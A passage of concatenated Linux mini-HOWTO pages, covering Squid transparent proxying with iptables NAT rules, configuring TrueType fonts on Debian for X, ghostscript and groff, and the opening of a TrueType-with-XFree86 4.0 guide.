To set up the rules, you will need to know two things, the interface that the to-be-proxied requests are coming in on (I'll use eth0 as an example) and the port squid is running on (I'll use the default of 3128 as an example).

Now, the magic words for transparent proxying:

  • iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 3128

You will want to add the above commands to your appropriate bootup script under /etc/rc.d/. Readers upgrading from 2.2 kernels should note that this is the only command needed. 2.2 kernels required two extra commands in order to prevent forwarding loops. The infastructure of netfilter is much nicer, and only this command is needed.


Transparent Proxy with Linux and Squid mini-HOWTO: Transparent Proxy to a Remote Box

 Next Previous Contents

6. Transparent Proxy to a Remote Box

Now, the question naturally arises, if we can do all this nifty stuff redirecting HTTP connections to local ports, could we do the same thing but to a remote box (e.g., the machine with squid running is not the same machine as iptables is running on). The answer is yes, but it takes a little different magic words. If you only want to redirect to the local box (the normal case), skip this section. (Thanks to Giles Coochey for help writing this section).

For the purposes of example commands, let's assume we have two boxes called squid-box and iptables-box, and that they are on the network local-network. In the commands below, replace these strings with the actual IP addresses or name of your machines and network.

First, the machine that squid will be running on, squid-box. You do not need iptables or any special kernel options on this machine, just squid. You *will*, however, need the 'http_accel' options as described above. (Previous version of this HOWTO suggested that you did not need those options. That was a mistake. Sorry to have confused people...)

Now, the machine that iptables will be running on, iptables-box You will need to configure the kernel as described above, except that you don't need the REDIRECT target support). Now, for the iptables commands. You need three:

  • iptables -t nat -A PREROUTING -i eth0 -s ! squid-box -p tcp --dport 80 -j DNAT --to squid-box:3128
  • iptables -t nat -A POSTROUTING -o eth0 -s local-network -d squid-box -j SNAT --to iptables-box
  • iptables -A FORWARD -s local-network -d squid-box -i eth0 -o eth0 -p tcp --dport 3128 -j ACCEPT

The first one sends the packets to squid-box from iptables-box. The second makes sure that the reply gets sent back through iptables-box, instead of directly to the client (this is very important!). The last one makes sure the iptables-box will forward the appropriate packets to squid-box. It may not be needed. YMMV. Note that we specified '-i eth0' and then '-o eth0', which stands for input interface eth0 and output interface eth0. If your packets are entering and leaving on different interfaces, you will need to adjust the commands accordingly.

Add these commands to your appropriate startup scripts under /etc/rc.d/

6.1 What if iptables-box is on a dynamic IP?

If the iptables-box is on a dynamic IP address (e.g. a dialup PPP connection, or a DHCP assigned IP address from a cable modem, etc.), then you will want to make a slight change to the above commands. Replace the second command with this one:

  • iptables -t nat -A POSTROUTING -o eth0 -s local-network -d squid-box -j MASQUERADE

This change avoids having to specify the IP address of iptables-box in the command. Since it will change often, you'd have to change your commands to reflect it. This will save you a lot of hassle.


Transparent Proxy with Linux and Squid mini-HOWTO: Transparent Proxy With Bridging

 Next Previous Contents

7. Transparent Proxy With Bridging

Warning, this is really esoteric stuff. If you need it, you'll know. If not, skip this section. Thanks to Lewis Shobbrook (lshobbrook@fasttrack.net.au) for contributing to this section.

If you are trying to setup a transparent proxy on a Linux machine that has been configured as a bridge, you will need to add one additional command. Specifically, you need to explicitly allow connections to the machine on port 3128 (or any other port squid is listening on), otherwise the machine will just forward them over to the other interface like a good little bridge. Here's the magic words:

  • iptables -A INPUT -i interface -p tcp -d your_bridge_ip -s local-network --dport 3128 -m state --state NEW,ESTABLISHED -j ACCEPT
Replacing interface with the interface that corresponds to your_bridge_ip (typically eth0 or eth1). First time bridge users should also note that you'll probably want to repeat the same command with ``3128'' replaced by ``telnet'' if you want to administer your bridge remotely.


Transparent Proxy with Linux and Squid mini-HOWTO: Put it all together

 Next Previous Contents

8. Put it all together

If everything has gone well so far, go to another machine, change it's gateway to the IP of the box with iptables running on it, and surf away. To make sure that requests are really being forwarded through your proxy instead of straight to the origin server, check the log file /usr/local/squid/logs/access.log


Transparent Proxy with Linux and Squid mini-HOWTO: Troubleshooting

 Next Previous Contents

9. Troubleshooting

There is one problem that occurs often enough to mention here. If you get the following error:

/lib/modules/2.4.2-2/kernel/net/ipv4/netfilter/ip_tables.o init_modules: Device or resource busy Hints: insmod errors can be caused by incorrect module parameters; including invalid IO or IRQ parameters.

perhaps iptables or your kernel needs to be upgraded...

then you are probably running Red Hat 7.1. The folks at Red Hat, in all their wisdom, decided to load the ipchains module by default on startup. I guess this was for backwards compatibility for those who haven't learned iptables yet. However, the problem is that ipchains and iptables are mutually incompatible. Since ipchains has been secretly loaded by RH, you cannot use iptables commands. To see if this is your problem, do the command ``lsmod'' and look for the module named ``ipchains''. If you see it, that is your problem. The quick fix is to execute the command ``rmmod ipchains'' before you issue any iptables commands. Long term, you'll want to search through RH's setup scripts and remove the reference to ipchains in the first place (I don't really know where this is, as I've never used RH 7.1 myself).


Transparent Proxy with Linux and Squid mini-HOWTO: Further Resources

 Next Previous Contents

10. Further Resources

Should you still need assistance, you may wish to check the squid FAQ or the squid mailing list at www.squid-cache.org. You may also e-mail me at drk@unxsoft.com, and I'll try to answer your questions if time permits (sometimes it does, but sometimes it doesn't). Please, please, please, send the output of ``iptables -t nat -L'' and relavent portions of any configuration files in your e-mail, or else I will probably not be able to help you out much. Regrettably, even though this document has been translated to many different languages, I can only answer questions asked in English.


TrueType Fonts in Debian mini-HOWTO

Bear Giles, bgiles@coyotesong.com

v0.3, 10 January 2000

This document describes how to configure a Debian system to use TrueType fonts for display and printing. The most recent version of this document can be obtained in HTML format at http://www.dimensional.com/~bgiles/debian-tt.html

1. Introduction

  • 1.1 Disclaimer
  • 1.2 Credits
  • 1.3 Additional links
  • 1.4 Change log
  • 1.5 Feedback
  • 1.6 Related projects
  • 1.7 Distribution

2. Display (what they never told you)

  • 2.1 A look ahead to XFree86 4.0
  • 2.2 Review: Preparation before changing X configuration files.

3. Display (X and the font servers)

  • 3.1 Setting up the xfs Font Server
  • 3.2 Setting up the xfstt Font Server and installing TrueType fonts
  • 3.3 Using TrueType fonts
  • 3.4 Installing additional TrueType fonts
  • 3.5 Internationalization
  • 3.6 Security Issues

4. Printing (ghostscript)

  • 4.1 Configuring Ghostscript to use TrueType fonts
  • 4.2 Printing TrueType font specimens

5. Content Generation

  • 5.1 Generating AFM font metrics
  • 5.2 Generating font.map files
  • 5.3 Image manipulation: GIMP
  • 5.4 ASCII to PostScript conversion: enscript
  • 5.5 Text Formatting and Typesetting: groff
  • 5.6 Text Formatting and Typesetting: TeX

6. Unanswered questions

7. Obtaining TrueType Fonts

  • 7.1 A comment about using Microsoft's free TrueType fonts

8. Legalities


TrueType Fonts in Debian mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

A Linux installation typically contains several independent sets of fonts or font metrics. A quick glance at my system shows fonts or font metrics spread across the following directories:

  • XFree86 stores its fonts in /usr/X11R6/lib/X11/fonts/
  • Ghostscript stores its fonts in /usr/lib/ghostscript/fonts/
  • TeX stores its fonts in /usr/lib/texmf/fonts/
  • The Debian kbd package stores its fonts in /usr/share/consolefonts/
  • Groff stores its metrics in /usr/share/font/devps/
  • Enscript (ASCII to PostScript converter) stores its metrics in /usr/share/enscript/*.afm

Needless to say, these fonts are not coordinated.

TrueType fonts are designed to eliminate this problem by allowing the same font files to be used for both display and printing. This HOW-TO attempts to show how to use TrueType fonts for display, printing, and document preparation on Debian GNU/Linux systems.

1.1 Disclaimer

The information in this document is, to the best of my knowledge, correct. However this HOWTO is still in preliminary versions and what works for me may not work for you. Even if it does work for you, I am not a professional technical writer and I have been known to gloss over critical details.

So have fun, but play it safe and keep backups.

1.2 Credits

Created by Bear Giles, <bgiles@coyotesong.com>

Thanks go to:

  • Brion Vibber, <brion@pobox.com>, who wrote the (preliminary) TrueType HOW-TO (http://pobox.com/~brion/linux/TrueType-HOWTO.html)
  • Doug Holland, <meldroc@frii.com>, who wrote the XFree86 Font Deuglification HOW-TO (http://www.frii.com/~meldroc/Font-Deuglification.html)

1.3 Additional links

These links don't directly discuss Debian systems or packages, but they may still be interesting to readers of this mini-HOWTO.

  • Using TrueType Fonts with RedHat Linux (http://www.kegel.com/linux/tt.html)
  • X Font Tools (http://www.hex.net/~cbbrowne/xfonts.html)
  • Getting fonts to look pretty under GNU/Linux for applications like StarOffice (http://king.ccrc.wustl.edu/~zubin/fonts.html)
  • How to use True Type © fonts for StarOffice Under Linux (http://www.mindspring.net/~john_mcl/adding_fonts.html)

1.4 Change log

  • 0.1. Sept. 16, 1999: First release.
  • 0.2. Sept. 16, 1999: added "additional links" section.
  • 0.3. Jan. 10, 2000: reader feedback! Added clarification of several details.

1.5 Feedback

Comments, corrections, additions and critiques are always welcome. You can reach me at bgiles@coyotesong.com.

1.6 Related projects

  • FreeType http://www.freetype.org/

    The FreeType engine is a free and portable TrueType font rendering engine. The code is a clean-room implementation that is totally independent of the Apple and Microsoft implementations. (A question has recently been raised about a possible Apple patent, however.) FreeType is a library, not a font server or a complete text rendering library.

1.7 Distribution

This is the first draft and I expect it to change significantly after publication, I ask that you refer to the latest version at http://www.dimensional.com/~bgiles/debian-tt.html. The permanent home for this document will eventually be at http://www.coyotesong.com/


TrueType Fonts in Debian mini-HOWTO: Display (what they never told you)

 Next Previous Contents

2. Display (what they never told you)

Before we dive into setting up TrueType fonts under X, we should review the difference between points and pixels... and why we care.

All displayed fonts are measured in points. One inch is exactly 72 points. Why 72? Partly because of the limitations of mechanical typesetting machines and partly because it's evenly divisible by 2, 3, 4, 6, 8, 9, 12, 18 and 24. It's also worth noting that the default unit in PostScript is one point.

(Historical note: I lied. Until the introduction of PostScript an inch was exactly 72.27 points, but that point size was set in the era of mechanical printers with metal stamps in a handful of standard sizes. With computer displays and laser printers, it's easy to get fonts in any size and 72 makes much more sense for the reason mentioned above.)

As a general rule, most text should be between 7 and 12 points. Anything smaller than 6 points is literally "the fine print." Line printers used 9 or 12 point type (for 8 or 6 lines/inch, respectively).

In contrast, all video drivers must ultimately measure fonts in pixels. To your video driver, your screen is 1024x800 pixels, not 10 by 8 inches (or 720 by 576 points).

To map from points (which we use to specify a font size) to pixels (which we use to blit the video memory) we must know our screen's resolution. This is usually measured in "dots per inch (dpi)," although it's really pixels per inch. These are the units used in the two sets of bitmap fonts included with XFree86: fonts-75 is intended for use on low-end displays with a resolution of approximately 75 dpi, fonts-100 is intended for use on mid-range displays with a resolution of approximately 100 dpi. There are no bitmap fonts intended for use on high-end displays with a resolution of over 120 dpi.

As a concrete example, a 13" diagonal screen (11.1" usable) displaying a 640x480 pixel image has a resolution of 72.0 dpi. This Is Not A Coincidence. In fact, most web pages (and Microsoft applications) are designed around a canonical display with a resolution of exactly 72 dpi. XFree86's default configuration assumes a display with a resolution of 75 dpi.

Back in the real world, nobody runs 640x480 video anymore. Nobody uses 13" diagonal screens anymore. Since video cards have improved faster than video monitors it's not uncommon to have a configuration like mine: 19" diagonal screen, (17+" usable), 1600x1200 pixels, 117 dpi resolution.

If I run a stock X configuration, all of my fonts are approximately 2/3 of the intended size. It's not an exaggeration to say that all fonts are cut down by a full size: large fonts (12 pts) appear medium (9). Medium fonts (9 pts) appear small (6).

There are three things we can do to fix this. First, We should tell the X server our actual screen resolution:

/etc/X11/xdm/Xservers
#:0 local /usr/X11R6/bin/X -bpp 16
:0 local /usr/X11R6/bin/X -bpp 16 -dpi 120

Second, we should ensure that we use the 100 dpi bitmapped fonts in preference to the 75 dpi fonts.

/etc/X11/XF86Config
Section "Files"
    RgbPath    "/usr/X11R6/lib/X11/rgb"
    FontPath   "/usr/X11R6/lib/X11/fonts/100dpi/"
    FontPath   "/usr/X11R6/lib/X11/fonts/75dpi/"
    FontPath   "/usr/X11R6/lib/X11/fonts/misc/"
    FontPath   "/usr/X11R6/lib/X11/fonts/Type1/"
    FontPath   "/usr/X11R6/lib/X11/fonts/Speedo/"
EndSection

Finally, if one of our bitmapped fonts isn't an exact match the X server will attempt to "scale" a similar font via pixel replication. The results are rarely pleasant to use. Assuming we have a reasonably powerful system, we can tell the server to use scaled fonts by default, then bitmaps which are exact matches, and scaled bitmaps as a last resort.

/etc/X11/XF86Config
Section "Files"
    RgbPath    "/usr/X11R6/lib/X11/rgb"
    FontPath   "/usr/X11R6/lib/X11/fonts/Type1/"
    FontPath   "/usr/X11R6/lib/X11/fonts/Speedo/"
    FontPath   "/usr/X11R6/lib/X11/fonts/100dpi/:unscaled"
    FontPath   "/usr/X11R6/lib/X11/fonts/75dpi/:unscaled"
    FontPath   "/usr/X11R6/lib/X11/fonts/misc/"
    FontPath   "/usr/X11R6/lib/X11/fonts/100dpi/"
    FontPath   "/usr/X11R6/lib/X11/fonts/75dpi/"
EndSection

2.1 A look ahead to XFree86 4.0

I've just been informed that XFree86 will support DDC communications, if the video card and monitor both support it. This will allow the X server to query the monitor for its physical dimensions and the server will automatically compute the correct DPI setting.

You will still need to make the appropriate changes to your font path, since the server should not second guess your explicit configuration.

2.2 Review: Preparation before changing X configuration files.

Any time we make changes to the X11 configuration files, it's an excellent idea to disable XDM by putting exit 0 somewhere near the top of the file. If you don't do this and X is unable to start for some reason, XDM will put your system into a nasty busy loop that is an unspeakable pain to correct. You Have Been Warned.


TrueType Fonts in Debian mini-HOWTO: Display (X and the font servers)

 Next Previous Contents

3. Display (X and the font servers)

Strictly speaking, it is not absolutely necessary to set up font servers to use TrueType fonts with X servers. If you wish to use static files instead of a font server, please see the instructions for setting up TrueType fonts for ghostscript.

3.1 Setting up the xfs Font Server

At this point I assume you have a working /etc/X11/XF86Config file that loads explicitly specifies each directory in the FontPath. We will convert it to use the xfs Font Server.

  • Install XFS

    If you have not already done so, install main/binary-*/x11/xfs_*.deb.

  • Configure XFS

    Edit /etc/X11/xfs/config and change the catalogue to contain the contents of your FontList. You may also wish to change the default-resolutions value.

    /etc/X11/xfs/config
    # paths to search for fonts
catalogue =
    /usr/X11R6/lib/X11/fonts/100dpi/:unscaled,
    /usr/X11R6/lib/X11/fonts/75dpi/:unscaled,
    /usr/X11R6/lib/X11/fonts/misc/,
    /usr/X11R6/lib/X11/fonts/Speedo/,
    /usr/X11R6/lib/X11/fonts/Type1/,
    /usr/X11R6/lib/X11/fonts/100dpi/,
    /usr/X11R6/lib/X11/fonts/75dpi/
# x1,y1,x2,y2,...
default-resolutions = 100,100,75,75

  • Restart XFS

    Restart XFS in the usual Debian manner:

    root shell
    # /etc/init.d/xfs restart

  • Verify that XFS is working

    Before we change our XF86Config file, we should verify that the xfs server is working by listing them through the font server:

    user shell
    $ fslsfonts -server unix/:7100
-adobe-courier-bold-i-normal--0-0-0-0-m-0-iso8859-1
-adobe-courier-bold-o-normal--0-0-100-100-m-0-iso8859-1
-adobe-courier-bold-o-normal--0-0-75-75-m-0-iso8859-1
....

  • Change /etc/X11/XF86Config to use xfs

    We're now ready to tell the X server to use the xfs font server. We keep one static font path as a fallback position in case of a problem with xfs. (We keep "misc" since it contains fixed, the default font.)

    /etc/X11/XF86Config
    Section "Files"
    FontPath   "unix/:7100"
    FontPath   "/usr/X11R6/lib/X11/fonts/misc/"
EndSection

  • Restart X

    Restart X with startx, unless you like living life dangerously. If that's the case, name me the beneficiary of your unusually large life insurance policy and restart xdm.

  • Verify that the XFS fonts are visible

    Once we have an X session established, we can verify that our server sees all of the xfs fonts by listing them through the X server.

    user shell
    $ xlsfonts
-adobe-courier-bold-i-normal--0-0-0-0-m-0-iso8859-1
-adobe-courier-bold-o-normal--0-0-100-100-m-0-iso8859-1
-adobe-courier-bold-o-normal--0-0-75-75-m-0-iso8859-1
....

3.2 Setting up the xfstt Font Server and installing TrueType fonts

At this point I assume you have a working xfs font server and wish to add TrueType support via xfstt.

  • Install XFSTT

    If you have not already done so, install main/binary-*/x11/xfstt_*.deb.

  • Installing the TrueType Fonts

    Copy your TrueType fonts into the /usr/share/fonts/truetype directory. These files usually have a .ttf extension, and they should have 0444 permissions.

  • Restart the XFSTT Font Server

    Restart the xfstt server with the force-reload flag

    root shell
    # /etc/init.d/xfstt force-reload

  • Verify that XFSTT is working

    Before we change our XF86Config file, we should verify that the xfstt server is working.

    Important: the Debian xfstt server listens to port 7101, not 7100. Also, the default permissions will require you to run this query as root.

    user and root shells
    $ fslsfonts -server unix/:7101
_FSTransSocketUNIXConnect: Can't connect: errno = 111
fslsfonts:  unable to open server "unix/:7101"

# fslsfonts -server unix/:7101
-ttf-arial black-medium-r-normal-regular-0-0-0-0-p-0-iso8859-1
-ttf-arial mt black-medium-r-normal-regular-0-0-0-0-p-0-iso8859-1
-ttf-arial narrow-bold-i-normal-bold italic-0-0-0-0-p-0-iso8859-1

  • Change /etc/X11/XF86Config to use xfstt

    We're now ready to tell the X server to use the xfstt font server. We want it to use TrueType fonts in preference to all others.

    /etc/X11/XF86Config
    Section "Files"
    FontPath   "unix/:7101"
    FontPath   "unix/:7100"
    FontPath   "/usr/X11R6/lib/X11/fonts/misc/"
EndSection

  • Verify that XFSTT fonts are visible

    Once we have an X session established, we can verify that our server sees all of the TrueType fonts by listing them.

    $ xlsfonts | grep ttf
-ttf-arial black-medium-r-normal-regular-0-0-0-0-p-0-iso8859-1
-ttf-arial mt black-medium-r-normal-regular-0-0-0-0-p-0-iso8859-1
-ttf-arial narrow-bold-i-normal-bold italic-0-0-0-0-p-0-iso8859-1
....

3.3 Using TrueType fonts

At this point it should be possible to use a TrueType font in applications like GIMP, Netscape or StarOffice. Since most TrueType fonts aren't monospaced you probably don't want to use one of them with xterm - these programs use monospacing the size of the largest character cell.

3.4 Installing additional TrueType fonts

If you are using the xfstt font server, it's trivial to install additional TrueType fonts.

  • Copy the new font(s) into /usr/share/fonts/truetype/
  • Restart xfs with /etc/init.d/xfs restart

3.5 Internationalization

xfstt has the ability to generate multiple font encodings, provided that the TrueType font contains the necessary glyphs. To enable fonts other than iso8859-1/unicode-1, you must manually edit the /etc/init.d/xfstt script:

/etc/init.d/xfstt
- start-stop-daemon --start --quiet --exec $XFSTT -- \
      --port $portno --daemon
+ start-stop-daemon --start --quiet --exec $XFSTT -- \
      --port $portno --encoding iso8859-1,koi8-r,windows-1252,symbol-0 \
      --daemon

The recognized encodings in Debian 2.1 are:

  • iso8859-1 (Latin 1 - Western Europe)
  • iso8859-2 (Latin 2 - Central and Eastern Europe)
  • iso8859-3 (Latin 3 - Esperanto and Maltese)
  • iso8859-4 (Latin 4 - superceded by Latin 6)
  • iso8859-5 (Cyrillic)
  • iso8859-6 (Arabic)
  • iso8859-7 (Greek)
  • iso8859-8 (Hebrew)
  • iso8859-9 (Latin 5 - Latin 1 with Turkish, not Icelandic)
  • iso8859-10 (Latin 6 - Nordic languages, replaces Latin 4)
  • koi8-r (Cyrillic)
  • windows-1250 (Central Europe)
  • windows-1251 (Cyrillic)
  • windows-1252
  • windows-1253 (Greek)
  • windows-1254
  • windows-1255
  • windows-1256
  • windows-1257
  • symbol-0
  • wingding-0
  • wingreek-0
  • cp-437 (various IBM code pages)
  • cp-737
  • cp-850
  • cp-851
  • cp-852
  • cp-853
  • cp-855
  • cp-857
  • cp-860
  • cp-861
  • cp-862
  • cp-863
  • cp-864
  • cp-865
  • cp-866
  • cp-869
  • cp-895
  • atari-st
  • unicode-2

The first 128 characters in the iso8859-x encodings is always ASCII. The windows- fonts embrace and extend iso8859-1 with additional characters such as "smart quotes." (Since these extensions, such as "smart quotes" are undefined in iso8859-1, they are usually rendered as question marks.)

Excellent source for additional information on character set encodings are at

  • http://ppewww.ph.gla.ac.uk/%7Eflavell/iso8859/iso8859-pointers.html,
  • http://anubis.dkuug.dk/i18n/ and
  • http://czyborra.com/charsets/iso8859.html.

3.6 Security Issues

I used Unix sockets above, but the standard Debian packages also configure xfs and xfstt to listen to TCP/IP ports 7100 and 7101, respectively. Access to these ports should be controlled by the trusted-clients field in /etc/X11/xfs/config, but this option is not implemented in XFree86 3.3.2.3a.

This means that anyone, anywhere, can connect to your font server. Since xfs (and presumably xfsts) "clone" to support more users there's a trivial denial-of-service attack against these systems. It's probably safe to use the font servers on dialup lines (since you're present to handle problems), but DSL and cable modem users should use a firewall.


TrueType Fonts in Debian mini-HOWTO: Printing (ghostscript)

 Next Previous Contents

4. Printing (ghostscript)

Starting with version 4, ghostscript has supported TrueType fonts as a compile-time option. Two Debian packages provide ghostscript:

  • main/binary-*/text/gs_*.deb is DFSG-compliant version 5.10,
  • non-free/binary-*/gs-aladdin_*.deb is non-DFSG-compliant version 5.50.
Both versions support TrueType fonts.

4.1 Configuring Ghostscript to use TrueType fonts

If you have a working xfstt server, it is easy to configure ghostscript to use TrueType fonts. We simply execute the following command:

# xfstt --gslist --sync >> /etc/gs.Fontmap

In practice, I've found it beneficial to make several small changes to the font definitions generated by xfstt. First, if a font name does not contain any spaces, I change the name to the usual notation. If a font name does contain spaces, I replace all spaces with dashes and the original name is added as an alias to the new name.

Finally, I prepend TTF- (or MS-) to all font names to minimize problems caused by a TrueType font having an identical name to an preexisting font.

Thus

(Arial)               (/usr/share/fonts/truetype/arial.ttf)   ;
(Arial Bold Italic)   (/usr/share/fonts/truetype/arialbi.ttf) ;

becomes

/MS-Arial             (/usr/share/fonts/truetype/arial.ttf)   ;
/MS-Arial-Bold-Italic (/usr/share/fonts/truetype/arialbi.ttf) ;
(Arial Bold Italic)   /MS-Arial-Bold-Italic                   ;
/Arial                /MS-Arial                               ;

The aliases ensure that ghostscript and xfstt can still specify the same font by a common name.

Much more significantly, with the change in the font names it's possible to instruct ghostscript to use TrueType fonts instead of the standard fonts. The documentation claims that this is also possible with parenthetical notation, but I could not get it to work.

For instance, we can instruct ghostscript to replace Helvetica fonts with Microsoft's free Arial fonts by appending the following lines to the /etc/gs.Fontmap file:

/Helvetica               /MS-Arial              ;
/Helvetica-Oblique       /MS-Arial-Italic       ;
/Helvetica-Bold          /MS-Arial-Bold         ;
/Helvetica-BoldOblique   /MS-Arial-Bold-Italic  ;

Similar aliases can be defined for the other standard fonts. These aliases would be most useful on samba printers serving Windows clients.

4.2 Printing TrueType font specimens

The best way to verify that ghostscript is properly configured to use TrueType fonts is to print font specimen pages. Assuming that you're running ghostscript 5.50 and that it is your default print queue, you can print all TrueType fonts with the following command:

# xfstt --gslist --sync | printfont

where printfont is the following shell script

#!/bin/sh

set -e
IFS= ')'

while read fontname rest
do
    cat << EOM | lpr
%!PS
(/usr/lib/ghostscript/5.50/prfont.ps) run
$fontname) DoFont
EOM
done

If you wish to print only a few fonts, the following script will be easier to use:

#!/bin/sh

set -e
while read -p "Font name, or ^D to exit: " fontname
do
    cat << EOM | lpr
%!PS
(/usr/lib/ghostscript/5.50/prfont.ps) run
$fontname DoFont
EOM
done


TrueType Fonts in Debian mini-HOWTO: Content Generation

 Next Previous Contents

5. Content Generation

5.1 Generating AFM font metrics

AFM font metrics files are not required for display existing files with TrueType fonts, but they are necessary to create new files. The ghostscript program /usr/lib/ghostscript/5.50/printafm.ps could be used to generate these metric files, but I have found the ttf2afm program from the tetex-bin package to be easier to use.

The following script will generate an afm file for all TrueType fonts in a directory:

#!/bin/sh

set -e

for i in *.TTF
do
    /usr/bin/ttf2afm $i > ${i%TTF}afm
done

for i in *.ttf
do
    /usr/bin/ttf2afm $i > ${i%ttf}afm
done

One minor problem with ttf2afm is that some applications expect afm files to start with the StartFontMetrics tag, but files created by ttf2afm start with a comment. This "problem" is easily fixed by hitting each file with a text editor.

5.2 Generating font.map files

Once we have our afm files, we need to tell the system how to find them. This is often done via the font.map file.

I have been unable to find documentation on this file format, unlike fonts.dir, fonts.scale, and fonts.alias, all created by the mkfontdir program. However the minimum format appears to be quite simple:

  • Font name, without whitespace
  • AFM filename, without extension

Aliases appear to be implemented via multiple entries, and the filename extension must be in lowercase.

5.3 Image manipulation: GIMP

GIMP is the Gnu image manipulation and paint program. I did not have to make any additional changes to use TrueType fonts in gimp.

5.4 ASCII to PostScript conversion: enscript

Enscript is a program that converts ASCII to PostScript. Other programs which serve a similiar purpose are a2ps and mpage. Enscript allows two-up rotation, watermarks, headers, and keyword-based syntax coloring. It does not reformat text and is commonly used to print source listing.

To use TrueType fonts with enscript, you must do two things:

  • Add /usr/share/fonts/truetype to your AFMPath.
  • Specify a TrueType font, either explicitly or by aliasing a default font.

For details, see the enscript documentation.

Once I had made these changes, I had no problem using TrueType fonts.

5.5 Text Formatting and Typesetting: groff

Groff is the Gnu front end of the groff/troff document formatting system. The power of Groff is best seen with man pages.

user shell
$ zcat /usr/man/man1/groff.1.gz | groff -man | lpr

Besides man pages, an incredible amount of Unix documentation uses troff formatting with ms (and occasionally me) macros. The Debian xbooks package, for example, has 43 files using troff with ms macros. With groff, this material can be attractively printed.

Groff is a very powerful system, but it's the grandchild (or great-grandchild) of a program used to typeset 1960's era printing presses. Font support in groff reflects that heritage. Groff, in contrast to its predecessors, uses PostScript as the default output format so our earlier work with ghostscript takes care of half of the problem -- groff does not have to deal with reading TrueType font files. It does need to have accurate font metrics, and this section describes how to regenerate the necessary groff files:

Groff PostScript description files
/usr/share/groff/font/devps/DESC
    Device description file
/usr/share/groff/font/devps/text.enc
    Encoding used for text fonts
/usr/share/groff/font/devps/generate/textmap
    Standard mapping.
/usr/share/groff/font/devps/generate/Makefile
    Standard makefile

We must edit the Makefile,

/usr/share/groff/font/devps/generate/Makefile
- afmdir=/usr/local/afm
+ afmdir=/usr/share/fonts/truetype

change the name of the fonts to their TrueType equivalent (e.g., if we're using Microsoft's free TrueType fonts we would replace Helvetica with Arial), and change TEXTFONTS and the like to only include those fonts we are redefining.

We must also edit /usr/share/groff/font/devps/generate/afmname to use the TrueType font names and afm files, and to remove an "-e" flag from awk.

After all of this, we can rebuild the groff tables with

user shell
$ cd /usr/share/groff/font/devps
$ make -f generate/Makefile

As usual, the best way to verify the changes is to use a visually distinctive font. E.g., if you are using the Microsoft free TrueType fonts you can use Mistral for TR.

(I expect royalties from everyone who reconfigures their system to print manual pages in Old English fonts next April First!)

5.6 Text Formatting and Typesetting: TeX

TeX is the other common set of text formatting and typesetting programs on most GNU/Linux systems.

TeX fonts can created with mktexmf, but I have little information on the exact process. More details will be provided shortly.


TrueType Fonts in Debian mini-HOWTO: Unanswered questions

 Next Previous Contents

6. Unanswered questions

  • Applications

    The biggest unanswered question is why netscape communicator can use TrueType fonts, ghostscript can use the same TrueType fonts, yet pages printed by netscape look nothing like the screen.

    The short answer is that netscape generates PostScript output with standard fonts (Helvetica and Times-Roman) instead of the user-specified or HTML-specified fonts. The long answer is that I have absolutely no idea why it forces this behavior, or if there is a way to override it.


TrueType Fonts in Debian mini-HOWTO: Obtaining TrueType Fonts

 Next Previous Contents

7. Obtaining TrueType Fonts

If you're looking for TrueType fonts, here are several places where you can start looking:

  • c:\windows\fonts on the boat anchor in the corner
  • Microsoft's Free TrueType Fonts http://www.microsoft.com/typography/fontpack/
  • Acid Fonts http://www.acidcool.com/
  • The Font Ring http://www.webring.org/cgi-bin/webring?ring=fontring&list

7.1 A comment about using Microsoft's free TrueType fonts

No article on TrueType support under Linux would be complete without a comment about Microsoft's free TrueType fonts. First the legality of using Microsoft's free core fonts:

http://www.microsoft.com/typography/faq/faq8.htm
Q. What can I do with these fonts?
   · Anyone can download and install these fonts for
     their own use.
   · [Web page] designers can specify the fonts within
     their own Web pages.
   ...

Clearly, it is legal and reasonable for Linux users to download and install these fonts, and I would like to thank Microsoft for making them available.

Since another clause restricts their redistribution "in any form that adds value to commercial products" I don't expect to see these fonts packaged in main anytime soon. (Could they be packaged in non-free, perhaps as an installer package...?)

Now that that's out of the way, I redirect your attention to the second statement. Microsoft actively encourages web page developers to specify their fonts on web pages, and many HTML editors explicitly name fonts.

Many web sites, when viewed by standard Netscape/Linux, can best be described as... legible. Some aren't even that. Not coincidentally the sites which are, um, legible are also usually the sites that explicitly state all font information in their web pages.

After I installed these fonts I noticed that most of these problematic sites became significantly more attractive. Many were still highly Windows-centric, but at least I didn't flinch every time I loaded their pages.

My recommendation is to install Microsoft's free TrueType fonts for your browser. You are not required to create web pages that use these fonts, nor do you have to configure ghostscript to use them.


TrueType Fonts in Debian mini-HOWTO: Legalities

 Next Previous Contents

8. Legalities

Copyright © 1999 by Bear Giles.

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed whole or in part, in any medium physical or electronic, as long as this copyright notice is retained in all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may produce a derivative work from a HOWTO and impose additional restrictions on distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO cordinator for more information.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would very much like to be notified of any plans to redistribute the HOWTOs, this one in particular! Web page authors are free to link to this HOWTO without restriction, though the author would appreciate an email informing him of this, just so he can boost his ego by knowing who else reads and links to this document.

Many of the terms mentioned in this document are trade names. Unless otherwise stated, all trademarks are property of their respectve owners.


TrueType Fonts with XFree86 4.0.x mini-HOWTO

Bartek Kostrzewa, bartek@pt.lu

0.0.4, 2001-02-23

This mini-HOWTO describes how to use TrueType (*.ttf) fonts with XFree86 4.0.x.

1. Introduction

  • 1.1 Copyright
  • 1.2 Disclaimer
  • 1.3 News
  • 1.4 Credits
  • 1.5 Translations

2. Procedure


TrueType Fonts with XFree86 4.0.x mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 Copyright

Download, copy and redistribute this text freely. If you do any changes, please submit them to me, and I will pass them to the LDP, of course, credit will be given.

Copyright (c) 2001 by Bartek Kostrzewa

1.2 Disclaimer

Use the information in this document at your own risk. I disavow any potential liability for the contents of this document. Use of the concepts, examples, and/or other content of this document is entirely at your own risk.

All copyrights are owned by their owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.

1.3 News

  • 0.0.4: Some content added, explaining how to add fontpath's to the XF86Config.
  • 0.0.3: Due to possible legal problems some modifications were done.
